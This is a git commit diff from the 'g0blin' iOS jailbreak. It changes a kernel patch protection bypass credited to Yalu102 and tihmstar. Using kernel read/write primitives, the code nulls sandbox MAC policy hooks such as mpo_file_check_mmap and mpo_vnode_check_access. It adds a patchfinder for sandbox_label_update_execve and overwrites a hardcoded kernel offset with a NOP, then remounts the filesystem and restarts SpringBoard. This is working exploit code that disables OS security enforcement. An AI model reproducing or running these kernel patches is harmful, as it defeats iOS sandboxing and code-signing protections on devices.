Browse Source

bunch o stuff

Sticktron 6 years ago
parent
commit
8109797aa8
5 changed files with 427 additions and 19 deletions
  1. 10 2
      g0blin/ViewController.m
  2. 359 11
      g0blin/kpp.h
  3. 26 5
      g0blin/kpp.m
  4. 28 1
      g0blin/patchfinder64.c
  5. 4 0
      g0blin/patchfinder64.h

+ 10 - 2
g0blin/ViewController.m

@@ -126,7 +126,7 @@ static uint64_t kcred;
     [self.progressView setProgress:0.3 animated:YES];
     [self log:@"bypassing kernel patch protection"];
     
-    if (do_kpp(1, 0, kbase, kslide, tfp0, kcred) == KERN_SUCCESS) {
+    if (do_kpp(1, 0, kbase, kslide, tfp0) == KERN_SUCCESS) {
         LOG("you down with kpp? yeah you know me");
         [self remount];
     } else {
@@ -178,7 +178,15 @@ static uint64_t kcred;
     LOG("reloading daemons...");
     pid_t pid;
     posix_spawn(&pid, "/bin/launchctl", 0, 0, (char**)&(const char*[]){"/bin/launchctl", "load", "/Library/LaunchDaemons/0.reload.plist", NULL}, NULL);
-    //waitpid(pid, 0, 0);
+    waitpid(pid, 0, 0);
+    
+    sleep(2);
+    
+    LOG("restarting SpringBoard...");
+    dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
+        pid_t pid;
+        posix_spawn(&pid, "killall", 0, 0, (char**)&(const char*[]){"killall", "-9", "backboardd", NULL}, NULL);
+    });
 }
 
 @end

+ 359 - 11
g0blin/kpp.h

@@ -23,7 +23,7 @@
 #include <Foundation/Foundation.h>
 
 
-kern_return_t do_kpp(int nukesb, int uref, uint64_t kernbase, uint64_t slide, task_t tfp0, uint64_t credpatch);
+kern_return_t do_kpp(int nukesb, int uref, uint64_t kernbase, uint64_t slide, task_t tfp0);
 
 
 size_t kread(uint64_t where, void *p, size_t size);
@@ -36,7 +36,353 @@ size_t kwrite_uint32(uint64_t where, uint32_t value);
 void kx2(uint64_t fptr, uint64_t arg1, uint64_t arg2);
 uint32_t kx5(uint64_t fptr, uint64_t arg1, uint64_t arg2, uint64_t arg3, uint64_t arg4, uint64_t arg5);
 
-struct mac_policy_ops {
+
+//------------------------------------------------------------------------------
+// From Yalu102
+//------------------------------------------------------------------------------
+//struct mac_policy_ops {
+//    uint64_t mpo_audit_check_postselect;
+//    uint64_t mpo_audit_check_preselect;
+//    uint64_t mpo_bpfdesc_label_associate;
+//    uint64_t mpo_bpfdesc_label_destroy;
+//    uint64_t mpo_bpfdesc_label_init;
+//    uint64_t mpo_bpfdesc_check_receive;
+//    uint64_t mpo_cred_check_label_update_execve;
+//    uint64_t mpo_cred_check_label_update;
+//    uint64_t mpo_cred_check_visible;
+//    uint64_t mpo_cred_label_associate_fork;
+//    uint64_t mpo_cred_label_associate_kernel;
+//    uint64_t mpo_cred_label_associate;
+//    uint64_t mpo_cred_label_associate_user;
+//    uint64_t mpo_cred_label_destroy;
+//    uint64_t mpo_cred_label_externalize_audit;
+//    uint64_t mpo_cred_label_externalize;
+//    uint64_t mpo_cred_label_init;
+//    uint64_t mpo_cred_label_internalize;
+//    uint64_t mpo_cred_label_update_execve;
+//    uint64_t mpo_cred_label_update;
+//    uint64_t mpo_devfs_label_associate_device;
+//    uint64_t mpo_devfs_label_associate_directory;
+//    uint64_t mpo_devfs_label_copy;
+//    uint64_t mpo_devfs_label_destroy;
+//    uint64_t mpo_devfs_label_init;
+//    uint64_t mpo_devfs_label_update;
+//    uint64_t mpo_file_check_change_offset;
+//    uint64_t mpo_file_check_create;
+//    uint64_t mpo_file_check_dup;
+//    uint64_t mpo_file_check_fcntl;
+//    uint64_t mpo_file_check_get_offset;
+//    uint64_t mpo_file_check_get;
+//    uint64_t mpo_file_check_inherit;
+//    uint64_t mpo_file_check_ioctl;
+//    uint64_t mpo_file_check_lock;
+//    uint64_t mpo_file_check_mmap_downgrade;
+//    uint64_t mpo_file_check_mmap;
+//    uint64_t mpo_file_check_receive;
+//    uint64_t mpo_file_check_set;
+//    uint64_t mpo_file_label_init;
+//    uint64_t mpo_file_label_destroy;
+//    uint64_t mpo_file_label_associate;
+//    uint64_t mpo_ifnet_check_label_update;
+//    uint64_t mpo_ifnet_check_transmit;
+//    uint64_t mpo_ifnet_label_associate;
+//    uint64_t mpo_ifnet_label_copy;
+//    uint64_t mpo_ifnet_label_destroy;
+//    uint64_t mpo_ifnet_label_externalize;
+//    uint64_t mpo_ifnet_label_init;
+//    uint64_t mpo_ifnet_label_internalize;
+//    uint64_t mpo_ifnet_label_update;
+//    uint64_t mpo_ifnet_label_recycle;
+//    uint64_t mpo_inpcb_check_deliver;
+//    uint64_t mpo_inpcb_label_associate;
+//    uint64_t mpo_inpcb_label_destroy;
+//    uint64_t mpo_inpcb_label_init;
+//    uint64_t mpo_inpcb_label_recycle;
+//    uint64_t mpo_inpcb_label_update;
+//    uint64_t mpo_iokit_check_device;
+//    uint64_t mpo_ipq_label_associate;
+//    uint64_t mpo_ipq_label_compare;
+//    uint64_t mpo_ipq_label_destroy;
+//    uint64_t mpo_ipq_label_init;
+//    uint64_t mpo_ipq_label_update;
+//    uint64_t mpo_file_check_library_validation;
+//    uint64_t mpo_vnode_notify_setacl;
+//    uint64_t mpo_vnode_notify_setattrlist;
+//    uint64_t mpo_vnode_notify_setextattr;
+//    uint64_t mpo_vnode_notify_setflags;
+//    uint64_t mpo_vnode_notify_setmode;
+//    uint64_t mpo_vnode_notify_setowner;
+//    uint64_t mpo_vnode_notify_setutimes;
+//    uint64_t mpo_vnode_notify_truncate;
+//    uint64_t mpo_mbuf_label_associate_bpfdesc;
+//    uint64_t mpo_mbuf_label_associate_ifnet;
+//    uint64_t mpo_mbuf_label_associate_inpcb;
+//    uint64_t mpo_mbuf_label_associate_ipq;
+//    uint64_t mpo_mbuf_label_associate_linklayer;
+//    uint64_t mpo_mbuf_label_associate_multicast_encap;
+//    uint64_t mpo_mbuf_label_associate_netlayer;
+//    uint64_t mpo_mbuf_label_associate_socket;
+//    uint64_t mpo_mbuf_label_copy;
+//    uint64_t mpo_mbuf_label_destroy;
+//    uint64_t mpo_mbuf_label_init;
+//    uint64_t mpo_mount_check_fsctl;
+//    uint64_t mpo_mount_check_getattr;
+//    uint64_t mpo_mount_check_label_update;
+//    uint64_t mpo_mount_check_mount;
+//    uint64_t mpo_mount_check_remount;
+//    uint64_t mpo_mount_check_setattr;
+//    uint64_t mpo_mount_check_stat;
+//    uint64_t mpo_mount_check_umount;
+//    uint64_t mpo_mount_label_associate;
+//    uint64_t mpo_mount_label_destroy;
+//    uint64_t mpo_mount_label_externalize;
+//    uint64_t mpo_mount_label_init;
+//    uint64_t mpo_mount_label_internalize;
+//    uint64_t mpo_netinet_fragment;
+//    uint64_t mpo_netinet_icmp_reply;
+//    uint64_t mpo_netinet_tcp_reply;
+//    uint64_t mpo_pipe_check_ioctl;
+//    uint64_t mpo_pipe_check_kqfilter;
+//    uint64_t mpo_pipe_check_label_update;
+//    uint64_t mpo_pipe_check_read;
+//    uint64_t mpo_pipe_check_select;
+//    uint64_t mpo_pipe_check_stat;
+//    uint64_t mpo_pipe_check_write;
+//    uint64_t mpo_pipe_label_associate;
+//    uint64_t mpo_pipe_label_copy;
+//    uint64_t mpo_pipe_label_destroy;
+//    uint64_t mpo_pipe_label_externalize;
+//    uint64_t mpo_pipe_label_init;
+//    uint64_t mpo_pipe_label_internalize;
+//    uint64_t mpo_pipe_label_update;
+//    uint64_t mpo_policy_destroy;
+//    uint64_t mpo_policy_init;
+//    uint64_t mpo_policy_initbsd;
+//    uint64_t mpo_policy_syscall;
+//    uint64_t mpo_system_check_sysctlbyname;
+//    uint64_t mpo_proc_check_inherit_ipc_ports;
+//    uint64_t mpo_vnode_check_rename;
+//    uint64_t mpo_kext_check_query;
+//    uint64_t mpo_iokit_check_nvram_get;
+//    uint64_t mpo_iokit_check_nvram_set;
+//    uint64_t mpo_iokit_check_nvram_delete;
+//    uint64_t mpo_proc_check_expose_task;
+//    uint64_t mpo_proc_check_set_host_special_port;
+//    uint64_t mpo_proc_check_set_host_exception_port;
+//    uint64_t mpo_exc_action_check_exception_send;
+//    uint64_t mpo_exc_action_label_associate;
+//    uint64_t mpo_exc_action_label_copy;
+//    uint64_t mpo_exc_action_label_destroy;
+//    uint64_t mpo_exc_action_label_init;
+//    uint64_t mpo_exc_action_label_update;
+//    uint64_t mpo_reserved1;
+//    uint64_t mpo_reserved2;
+//    uint64_t mpo_reserved3;
+//    uint64_t mpo_reserved4;
+//    uint64_t mpo_reserved5;
+//    uint64_t mpo_reserved6;
+//    uint64_t mpo_posixsem_check_create;
+//    uint64_t mpo_posixsem_check_open;
+//    uint64_t mpo_posixsem_check_post;
+//    uint64_t mpo_posixsem_check_unlink;
+//    uint64_t mpo_posixsem_check_wait;
+//    uint64_t mpo_posixsem_label_associate;
+//    uint64_t mpo_posixsem_label_destroy;
+//    uint64_t mpo_posixsem_label_init;
+//    uint64_t mpo_posixshm_check_create;
+//    uint64_t mpo_posixshm_check_mmap;
+//    uint64_t mpo_posixshm_check_open;
+//    uint64_t mpo_posixshm_check_stat;
+//    uint64_t mpo_posixshm_check_truncate;
+//    uint64_t mpo_posixshm_check_unlink;
+//    uint64_t mpo_posixshm_label_associate;
+//    uint64_t mpo_posixshm_label_destroy;
+//    uint64_t mpo_posixshm_label_init;
+//    uint64_t mpo_proc_check_debug;
+//    uint64_t mpo_proc_check_fork;
+//    uint64_t mpo_proc_check_get_task_name;
+//    uint64_t mpo_proc_check_get_task;
+//    uint64_t mpo_proc_check_getaudit;
+//    uint64_t mpo_proc_check_getauid;
+//    uint64_t mpo_proc_check_getlcid;
+//    uint64_t mpo_proc_check_mprotect;
+//    uint64_t mpo_proc_check_sched;
+//    uint64_t mpo_proc_check_setaudit;
+//    uint64_t mpo_proc_check_setauid;
+//    uint64_t mpo_proc_check_setlcid;
+//    uint64_t mpo_proc_check_signal;
+//    uint64_t mpo_proc_check_wait;
+//    uint64_t mpo_proc_label_destroy;
+//    uint64_t mpo_proc_label_init;
+//    uint64_t mpo_socket_check_accept;
+//    uint64_t mpo_socket_check_accepted;
+//    uint64_t mpo_socket_check_bind;
+//    uint64_t mpo_socket_check_connect;
+//    uint64_t mpo_socket_check_create;
+//    uint64_t mpo_socket_check_deliver;
+//    uint64_t mpo_socket_check_kqfilter;
+//    uint64_t mpo_socket_check_label_update;
+//    uint64_t mpo_socket_check_listen;
+//    uint64_t mpo_socket_check_receive;
+//    uint64_t mpo_socket_check_received;
+//    uint64_t mpo_socket_check_select;
+//    uint64_t mpo_socket_check_send;
+//    uint64_t mpo_socket_check_stat;
+//    uint64_t mpo_socket_check_setsockopt;
+//    uint64_t mpo_socket_check_getsockopt;
+//    uint64_t mpo_socket_label_associate_accept;
+//    uint64_t mpo_socket_label_associate;
+//    uint64_t mpo_socket_label_copy;
+//    uint64_t mpo_socket_label_destroy;
+//    uint64_t mpo_socket_label_externalize;
+//    uint64_t mpo_socket_label_init;
+//    uint64_t mpo_socket_label_internalize;
+//    uint64_t mpo_socket_label_update;
+//    uint64_t mpo_socketpeer_label_associate_mbuf;
+//    uint64_t mpo_socketpeer_label_associate_socket;
+//    uint64_t mpo_socketpeer_label_destroy;
+//    uint64_t mpo_socketpeer_label_externalize;
+//    uint64_t mpo_socketpeer_label_init;
+//    uint64_t mpo_system_check_acct;
+//    uint64_t mpo_system_check_audit;
+//    uint64_t mpo_system_check_auditctl;
+//    uint64_t mpo_system_check_auditon;
+//    uint64_t mpo_system_check_host_priv;
+//    uint64_t mpo_system_check_nfsd;
+//    uint64_t mpo_system_check_reboot;
+//    uint64_t mpo_system_check_settime;
+//    uint64_t mpo_system_check_swapoff;
+//    uint64_t mpo_system_check_swapon;
+//    uint64_t mpo_reserved7;
+//    uint64_t mpo_sysvmsg_label_associate;
+//    uint64_t mpo_sysvmsg_label_destroy;
+//    uint64_t mpo_sysvmsg_label_init;
+//    uint64_t mpo_sysvmsg_label_recycle;
+//    uint64_t mpo_sysvmsq_check_enqueue;
+//    uint64_t mpo_sysvmsq_check_msgrcv;
+//    uint64_t mpo_sysvmsq_check_msgrmid;
+//    uint64_t mpo_sysvmsq_check_msqctl;
+//    uint64_t mpo_sysvmsq_check_msqget;
+//    uint64_t mpo_sysvmsq_check_msqrcv;
+//    uint64_t mpo_sysvmsq_check_msqsnd;
+//    uint64_t mpo_sysvmsq_label_associate;
+//    uint64_t mpo_sysvmsq_label_destroy;
+//    uint64_t mpo_sysvmsq_label_init;
+//    uint64_t mpo_sysvmsq_label_recycle;
+//    uint64_t mpo_sysvsem_check_semctl;
+//    uint64_t mpo_sysvsem_check_semget;
+//    uint64_t mpo_sysvsem_check_semop;
+//    uint64_t mpo_sysvsem_label_associate;
+//    uint64_t mpo_sysvsem_label_destroy;
+//    uint64_t mpo_sysvsem_label_init;
+//    uint64_t mpo_sysvsem_label_recycle;
+//    uint64_t mpo_sysvshm_check_shmat;
+//    uint64_t mpo_sysvshm_check_shmctl;
+//    uint64_t mpo_sysvshm_check_shmdt;
+//    uint64_t mpo_sysvshm_check_shmget;
+//    uint64_t mpo_sysvshm_label_associate;
+//    uint64_t mpo_sysvshm_label_destroy;
+//    uint64_t mpo_sysvshm_label_init;
+//    uint64_t mpo_sysvshm_label_recycle;
+//    uint64_t mpo_reserved8;
+//    uint64_t mpo_reserved9;
+//    uint64_t mpo_vnode_check_getattr;
+//    uint64_t mpo_mount_check_snapshot_create;
+//    uint64_t mpo_mount_check_snapshot_delete;
+//    uint64_t mpo_vnode_check_clone;
+//    uint64_t mpo_proc_check_get_cs_info;
+//    uint64_t mpo_proc_check_set_cs_info;
+//    uint64_t mpo_iokit_check_hid_control;
+//    uint64_t mpo_vnode_check_access;
+//    uint64_t mpo_vnode_check_chdir;
+//    uint64_t mpo_vnode_check_chroot;
+//    uint64_t mpo_vnode_check_create;
+//    uint64_t mpo_vnode_check_deleteextattr;
+//    uint64_t mpo_vnode_check_exchangedata;
+//    uint64_t mpo_vnode_check_exec;
+//    uint64_t mpo_vnode_check_getattrlist;
+//    uint64_t mpo_vnode_check_getextattr;
+//    uint64_t mpo_vnode_check_ioctl;
+//    uint64_t mpo_vnode_check_kqfilter;
+//    uint64_t mpo_vnode_check_label_update;
+//    uint64_t mpo_vnode_check_link;
+//    uint64_t mpo_vnode_check_listextattr;
+//    uint64_t mpo_vnode_check_lookup;
+//    uint64_t mpo_vnode_check_open;
+//    uint64_t mpo_vnode_check_read;
+//    uint64_t mpo_vnode_check_readdir;
+//    uint64_t mpo_vnode_check_readlink;
+//    uint64_t mpo_vnode_check_rename_from;
+//    uint64_t mpo_vnode_check_rename_to;
+//    uint64_t mpo_vnode_check_revoke;
+//    uint64_t mpo_vnode_check_select;
+//    uint64_t mpo_vnode_check_setattrlist;
+//    uint64_t mpo_vnode_check_setextattr;
+//    uint64_t mpo_vnode_check_setflags;
+//    uint64_t mpo_vnode_check_setmode;
+//    uint64_t mpo_vnode_check_setowner;
+//    uint64_t mpo_vnode_check_setutimes;
+//    uint64_t mpo_vnode_check_stat;
+//    uint64_t mpo_vnode_check_truncate;
+//    uint64_t mpo_vnode_check_unlink;
+//    uint64_t mpo_vnode_check_write;
+//    uint64_t mpo_vnode_label_associate_devfs;
+//    uint64_t mpo_vnode_label_associate_extattr;
+//    uint64_t mpo_vnode_label_associate_file;
+//    uint64_t mpo_vnode_label_associate_pipe;
+//    uint64_t mpo_vnode_label_associate_posixsem;
+//    uint64_t mpo_vnode_label_associate_posixshm;
+//    uint64_t mpo_vnode_label_associate_singlelabel;
+//    uint64_t mpo_vnode_label_associate_socket;
+//    uint64_t mpo_vnode_label_copy;
+//    uint64_t mpo_vnode_label_destroy;
+//    uint64_t mpo_vnode_label_externalize_audit;
+//    uint64_t mpo_vnode_label_externalize;
+//    uint64_t mpo_vnode_label_init;
+//    uint64_t mpo_vnode_label_internalize;
+//    uint64_t mpo_vnode_label_recycle;
+//    uint64_t mpo_vnode_label_store;
+//    uint64_t mpo_vnode_label_update_extattr;
+//    uint64_t mpo_vnode_label_update;
+//    uint64_t mpo_vnode_notify_create;
+//    uint64_t mpo_vnode_check_signature;
+//    uint64_t mpo_vnode_check_uipc_bind;
+//    uint64_t mpo_vnode_check_uipc_connect;
+//    uint64_t mpo_proc_check_run_cs_invalid;
+//    uint64_t mpo_proc_check_suspend_resume;
+//    uint64_t mpo_thread_userret;
+//    uint64_t mpo_iokit_check_set_properties;
+//    uint64_t mpo_system_check_chud;
+//    uint64_t mpo_vnode_check_searchfs;
+//    uint64_t mpo_priv_check;
+//    uint64_t mpo_priv_grant;
+//    uint64_t mpo_proc_check_map_anon;
+//    uint64_t mpo_vnode_check_fsgetpath;
+//    uint64_t mpo_iokit_check_open;
+//    uint64_t mpo_proc_check_ledger;
+//    uint64_t mpo_vnode_notify_rename;
+//    uint64_t mpo_vnode_check_setacl;
+//    uint64_t mpo_vnode_notify_deleteextattr;
+//    uint64_t mpo_system_check_kas_info;
+//    uint64_t mpo_proc_check_cpumon;
+//    uint64_t mpo_vnode_notify_open;
+//    uint64_t mpo_system_check_info;
+//    uint64_t mpo_pty_notify_grant;
+//    uint64_t mpo_pty_notify_close;
+//    uint64_t mpo_vnode_find_sigs;
+//    uint64_t mpo_kext_check_load;
+//    uint64_t mpo_kext_check_unload;
+//    uint64_t mpo_proc_check_proc_info;
+//    uint64_t mpo_vnode_notify_link;
+//    uint64_t mpo_iokit_check_filter_properties;
+//    uint64_t mpo_iokit_check_get_property;
+//};
+
+
+//------------------------------------------------------------------------------
+// From Tihmstar
+//------------------------------------------------------------------------------
+struct mac_policy_ops{
     uint64_t mpo_audit_check_postselect;
     uint64_t mpo_audit_check_preselect;
     uint64_t mpo_bpfdesc_label_associate;
@@ -171,12 +517,12 @@ struct mac_policy_ops {
     uint64_t mpo_exc_action_label_destroy;
     uint64_t mpo_exc_action_label_init;
     uint64_t mpo_exc_action_label_update;
-    uint64_t mpo_reserved1;
-    uint64_t mpo_reserved2;
-    uint64_t mpo_reserved3;
-    uint64_t mpo_reserved4;
-    uint64_t mpo_reserved5;
-    uint64_t mpo_reserved6;
+    uint64_t mpo_reserved_hook;
+    uint64_t mpo_reserved_hook_t1;
+    uint64_t mpo_reserved_hook_t2;
+    uint64_t mpo_reserved_hook_t3;
+    uint64_t mpo_reserved_hook_t4;
+    uint64_t mpo_reserved_hook_t5;
     uint64_t mpo_posixsem_check_create;
     uint64_t mpo_posixsem_check_open;
     uint64_t mpo_posixsem_check_post;
@@ -249,7 +595,7 @@ struct mac_policy_ops {
     uint64_t mpo_system_check_settime;
     uint64_t mpo_system_check_swapoff;
     uint64_t mpo_system_check_swapon;
-    uint64_t mpo_reserved7;
+    uint64_t mpo_reserved_hook_t6;
     uint64_t mpo_sysvmsg_label_associate;
     uint64_t mpo_sysvmsg_label_destroy;
     uint64_t mpo_sysvmsg_label_init;
@@ -280,8 +626,8 @@ struct mac_policy_ops {
     uint64_t mpo_sysvshm_label_destroy;
     uint64_t mpo_sysvshm_label_init;
     uint64_t mpo_sysvshm_label_recycle;
-    uint64_t mpo_reserved8;
-    uint64_t mpo_reserved9;
+    uint64_t mpo_reserved_hook_t7;
+    uint64_t mpo_mount_check_snapshot_revert;
     uint64_t mpo_vnode_check_getattr;
     uint64_t mpo_mount_check_snapshot_create;
     uint64_t mpo_mount_check_snapshot_delete;
@@ -374,6 +720,8 @@ struct mac_policy_ops {
     uint64_t mpo_iokit_check_get_property;
 };
 
+
+
 kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
 kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
 kern_return_t mach_vm_protect(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection);

+ 26 - 5
g0blin/kpp.m

@@ -3,20 +3,20 @@
 //  g0blin
 //
 //  Created by Sticktron on 2017-12-26.
-//  Copyright © 2017 xerub. All rights reserved.
 //  Copyright © 2017 qwertyoruiop. All rights reserved.
 //
 
 #include "kpp.h"
 #include "kernel.h"
 
-// @qwertyoruiop's KPP bypass
+
+// This is @qwertyoruiop's KPP bypass from Yalu102 -----------------------------
 
 #import "pte_stuff.h"
 #include "patchfinder64.h"
 
 
-kern_return_t do_kpp(int nukesb, int uref, uint64_t kernbase, uint64_t slide, task_t tfp0, uint64_t credpatch) {
+kern_return_t do_kpp(int nukesb, int uref, uint64_t kernbase, uint64_t slide, task_t tfp0) {
     kern_return_t ret;
     
     checkvad();
@@ -408,7 +408,6 @@ remappage[remapcnt++] = (x & (~PMK));\
 
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_file_check_mmap)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename)), 0);
-        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename)), 0); //2x
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_access)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_chroot)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_create)), 0);
@@ -428,7 +427,6 @@ remappage[remapcnt++] = (x & (~PMK));\
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setmode)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setowner)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes)), 0);
-        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes)), 0); //2x
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_stat)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_truncate)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_unlink)), 0);
@@ -436,6 +434,29 @@ remappage[remapcnt++] = (x & (~PMK));\
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_fsgetpath)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattr)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_mount_check_stat)), 0);
+        
+        // thx tihmstar
+        {
+            WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_fork)), 0); //needed?
+            WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_iokit_check_get_property)), 0); //needed?
+            
+            // WARNING! nulling these policies like this causes Widgets (and javascript?) to fail.
+            //WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_cred_check_label_update_execve)), 0);
+            //WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_cred_label_update_execve)), 0);
+            
+            
+            //----------- TEST PATCHFINDER --------------//
+            uint64_t a = find_sandbox_label_update_execve();
+            LOG("a = 0x%llx", a);
+            //----------- TEST PATCHFINDER --------------//
+
+            
+            #define INSN_NOP  0xd503201f
+            uint64_t offset_sandbox_label_update_execve = 0xfffffff006c35fb8 + slide;
+            RemapPage(offset_sandbox_label_update_execve);
+            WriteAnywhere32(NewPointer(offset_sandbox_label_update_execve), INSN_NOP);
+        }
+        
     }
     
     {

+ 28 - 1
g0blin/patchfinder64.c

@@ -1098,7 +1098,7 @@ addr_t
 find_allproc(void)
 {
     addr_t val, bof, str8;
-    addr_t ref = find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0);
+    addr_t ref = find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0); // modified
     if (!ref) {
         return 0;
     }
@@ -1196,6 +1196,33 @@ find_symbol(const char *symbol)
     return 0;
 }
 
+
+/* g0blin test ****************************************************************/
+addr_t find_sandbox_label_update_execve(void) {
+    
+    
+    addr_t ref;
+    for (int i = 1; (ref  = find_strref("process-exec denied", i, 1)); i++) {
+        printf("<string>0x%llx</string>\n", ref);
+    }
+    
+    
+    addr_t off, what;
+    uint8_t *str = boyermoore_horspool_memmem(kernel + pstring_base, pstring_size, (uint8_t *)"process-exec denied", sizeof("process-exec denied") - 1);
+    if (!str) {
+        return 0;
+    }
+    what = str - kernel + kerndumpbase;
+    for (off = 0; off < kernel_size - prelink_base; off += 8) {
+        if (*(uint64_t *)(kernel + prelink_base + off) == what) {
+            return *(uint64_t *)(kernel + prelink_base + off + 24);
+        }
+    }
+    return 0;
+}
+
+
+
 /* test **********************************************************************/
 
 /*

+ 4 - 0
g0blin/patchfinder64.h

@@ -3,6 +3,7 @@
 //  extra_recipe
 //
 //  Copyright © 2017 xerub. All rights reserved.
+//  Modified by Sticktron.
 //
 
 #ifndef PATCHFINDER64_H_
@@ -40,4 +41,7 @@ uint64_t find_amficache(void);
 
 uint64_t find_allproc(void);
 
+uint64_t find_sandbox_label_update_execve(void);
+
+
 #endif